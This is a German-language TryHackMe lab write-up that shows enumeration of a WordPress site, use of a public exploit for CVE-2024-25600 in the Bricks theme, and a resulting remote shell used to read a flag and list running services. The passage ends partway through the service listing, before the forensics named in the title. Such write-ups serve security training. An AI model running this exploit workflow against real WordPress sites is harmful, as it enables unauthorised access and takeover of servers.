
TryHackMe CTF Write-up — WordPress RCE via CVE-2024-25600, Crypto-Miner-Forensik und Identifizierung der LockBit-Ransomware-Gruppe
target:10.201.6.98 Enumeration
nmap -A 10.201.6.98
Da es ein WordPress mit dem Namen „brick by brick“ gibt und der Name dieses Raums „brick“ ist, befindet sich dort wahrscheinlich eine Schwachstelle.
Also lasst uns WordPress enumerieren.
wpscan --url https://bricks.thm --disable-tls-checks
Ausführung mit TLS-Prüfungen wird nicht funktionieren.
Hier ein weiterer Verweis auf „brick“. Lass uns prüfen, ob dieses Theme eine Schwachstelle aufweist.
Suche nach „bricks 1.9.5 vulnerability“ und du wirst eine RCE sehen; im Raum siehst du „RCE CVE“ als Schlüssel, also ist es wahrscheinlich der richtige Pfad.
CVE
CVE-2024-25600 https://github.com/K3ysTr0K3R/CVE-2024-25600-EXPLOIT Ich habe den Code aus diesem Repository verwendet.
python CVE-2024-25600.py --url https://bricks.thm --threads 10
Du musst auch einige Module installieren.
Dann können wir die erste Antwort erhalten.Shell> ls -la
total 260
drwxr-xr-x 7 apache apache 4096 Aug 9 12:34 .
drwxr-xr-x 3 root root 4096 Apr 2 2024 ..
-rw-r--r-- 1 apache apache 523 Apr 2 2024 .htaccess
-rw-r--r-- 1 root root 43 Apr 5 2024 650c844110baced87e1606453b93f22a.txt
-rw-r--r-- 1 apache apache 405 Apr 2 2024 index.php
drwxr-xr-x 7 apache apache 4096 Apr 12 2023 kod
-rw-r--r-- 1 apache apache 19915 Apr 4 2024 license.txt
drwxr-xr-x 15 apache apache 4096 Apr 2 2024 phpmyadmin
-rw-r--r-- 1 apache apache 7401 Apr 4 2024 readme.html
-rw-r--r-- 1 apache apache 7387 Apr 4 2024 wp-activate.php
drwxr-xr-x 9 apache apache 4096 Apr 2 2024 wp-admin
-rw-r--r-- 1 apache apache 351 Apr 2 2024 wp-blog-header.php
-rw-r--r-- 1 apache apache 2323 Apr 2 2024 wp-comments-post.php
-rw-r--r-- 1 apache apache 3012 Apr 4 2024 wp-config-sample.php
-rw-rw-rw- 1 apache apache 3288 Apr 2 2024 wp-config.php
drwxr-xr-x 6 apache apache 4096 Aug 9 12:34 wp-content
-rw-r--r-- 1 apache apache 5638 Apr 2 2024 wp-cron.php
drwxr-xr-x 30 apache apache 16384 Apr 4 2024 wp-includes
-rw-r--r-- 1 apache apache 2502 Apr 2 2024 wp-links-opml.php
-rw-r--r-- 1 apache apache 3927 Apr 2 2024 wp-load.php
-rw-r--r-- 1 apache apache 50917 Apr 4 2024 wp-login.php
-rw-r--r-- 1 apache apache 8525 Apr 2 2024 wp-mail.php
-rw-r--r-- 1 apache apache 28427 Apr 4 2024 wp-settings.php
-rw-r--r-- 1 apache apache 34385 Apr 2 2024 wp-signup.php
-rw-r--r-- 1 apache apache 4885 Apr 2 2024 wp-trackback.php
-rw-r--r-- 1 apache apache 3246 Apr 4 2024 xmlrpc.php
Shell> cat 650c844110baced87e1606453b93f22a.txt
THM{fl46_650c844110baced87e1606453b93f22a}
Jetzt haben wir die Antwort auf die 1. Frage gefunden. Lass uns zur zweiten weitergehen.
Shell> systemctl | grep running
proc-sys-fs-binfmt_misc.automount loaded active running Arbitrary Executable File Formats File System Automount Point
acpid.path loaded active running ACPI Events Check
init.scope loaded active running System and Service Manager
session-c1.scope loaded active running Session c1 of user lightdm
accounts-daemon.service loaded active running Accounts Service
acpid.service loaded active running ACPI event daemon
atd.service loaded active running Deferred execution scheduler
avahi-daemon.service loaded active running Avahi mDNS/DNS-SD Stack
cron.service loaded active running Regular background program processing daemon
cups-browsed.service loaded active running Make remote CUPS printers available locally
cups.service loaded active running CUPS Scheduler
dbus.service loaded active running D-Bus System Message Bus
[email protected] loaded active running Getty on tty1
httpd.service loaded active running LSB: starts Apache Web Server
irqbalance.service loaded active running irqbalance daemon
kerneloops.service loaded active running Tool to automatically collect and submit kernel crash signatures
lightdm.service loaded active running Light Display Manager
ModemManager.service loaded active running Modem Manager
multipathd.service loaded active running Device-Mapper Multipath Device Controller
mysqld.service loaded active running LSB: start and stop MySQL
networkd-dispatcher.service loaded active running Dispatcher daemon for systemd-networkd
NetworkManager.service loaded active running Network Manager
polkit.service loaded active running Authorization Manager
rsyslog.service loaded active running System Logging Service
rtkit-daemon.service loaded active running RealtimeKit Scheduling Policy Service
[email protected] loaded active running Serial Getty on ttyS0
snap.amazon-ssm-agent.amazon-ssm-agent.service loaded active running Service for snap application amazon-ssm-agent.amazon-ssm-agent
snapd.service loaded active running Snap Daemon